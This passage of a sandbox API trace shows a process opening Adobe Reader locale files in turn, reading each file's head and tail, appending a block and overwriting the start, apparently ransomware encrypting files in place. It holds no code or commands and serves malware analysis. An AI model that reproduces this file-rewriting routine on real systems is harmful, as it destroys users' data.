lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.167] CloseHandle (hObject=0x1a0) returned 1 [0039.167] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Accessibility.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\accessibility.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.168] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.168] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb200 [0039.168] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.168] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.168] ReleaseMutex (hMutex=0x128) returned 1 [0039.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0039.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUM", lpUsedDefaultChar=0x0) returned 17 [0039.168] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.195] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xa200 [0039.195] ReadFile (in: hFile=0x1a0, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.206] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xa200 [0039.206] WriteFile (in: hFile=0x1a0, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.207] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.207] WriteFile (in: hFile=0x1a0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.207] CloseHandle (hObject=0x1a0) returned 1 [0039.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\IA32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ia32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.219] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.219] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe00 [0039.220] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.220] ReleaseMutex (hMutex=0x128) returned 1 [0039.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0039.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUM", cchWideChar=8, lpMultiByteStr=0x1e6338c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUM", lpUsedDefaultChar=0x0) returned 8 [0039.220] ReadFile (in: hFile=0x12c, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x354f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0039.241] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.241] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0039.242] CloseHandle (hObject=0x12c) returned 1 [0039.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SendMail.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\sendmail.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.243] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.243] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4000 [0039.243] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.243] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.243] ReleaseMutex (hMutex=0x128) returned 1 [0039.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUM", lpUsedDefaultChar=0x0) returned 12 [0039.243] ReadFile (in: hFile=0x12c, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.267] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3000 [0039.267] ReadFile (in: hFile=0x12c, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.292] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3000 [0039.292] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.292] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.292] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.292] CloseHandle (hObject=0x12c) returned 1 [0039.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\brdlang32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.308] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.308] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3400 [0039.308] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.308] ReleaseMutex (hMutex=0x128) returned 1 [0039.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUS", lpUsedDefaultChar=0x0) returned 13 [0039.308] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.319] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2400 [0039.319] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.335] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2400 [0039.335] WriteFile (in: hFile=0x1c4, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.335] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.335] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.335] CloseHandle (hObject=0x1c4) returned 1 [0039.335] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PPKLITE.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ppklite.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.335] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.335] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x80400 [0039.335] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.335] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.336] ReleaseMutex (hMutex=0x128) returned 1 [0039.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUS", lpUsedDefaultChar=0x0) returned 11 [0039.336] ReadFile (in: hFile=0x1c4, lpBuffer=0x27c7b68, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.343] ReadFile (in: hFile=0x1c4, lpBuffer=0x27c7b68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.352] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7f400 [0039.352] ReadFile (in: hFile=0x1c4, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.357] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7f400 [0039.357] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.358] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.358] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.358] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.358] CloseHandle (hObject=0x1c4) returned 1 [0039.358] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Updater.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\updater.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.359] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.359] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2800 [0039.359] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.359] ReleaseMutex (hMutex=0x128) returned 1 [0039.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUS", lpUsedDefaultChar=0x0) returned 11 [0039.359] ReadFile (in: hFile=0x1c4, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.379] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0039.379] ReadFile (in: hFile=0x1c4, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.380] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0039.380] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.380] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.381] WriteFile (in: hFile=0x1c4, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.381] CloseHandle (hObject=0x1c4) returned 1 [0039.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\eBook.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ebook.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.383] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.383] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1a00 [0039.383] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.383] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.383] ReleaseMutex (hMutex=0x128) returned 1 [0039.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x1e633ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SKY", lpUsedDefaultChar=0x0) returned 9 [0039.383] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x354f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0039.392] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.392] WriteFile (in: hFile=0x1c4, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x354f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0039.392] CloseHandle (hObject=0x1c4) returned 1 [0039.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SaveAsRTF.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\saveasrtf.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.395] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.395] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4800 [0039.396] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.396] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.396] ReleaseMutex (hMutex=0x128) returned 1 [0039.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SKY", lpUsedDefaultChar=0x0) returned 13 [0039.396] ReadFile (in: hFile=0x198, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.404] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3800 [0039.404] ReadFile (in: hFile=0x198, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3800 [0039.410] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.410] WriteFile (in: hFile=0x198, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.410] CloseHandle (hObject=0x198) returned 1 [0039.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\AdobeCollabSync.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\adobecollabsync.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.411] 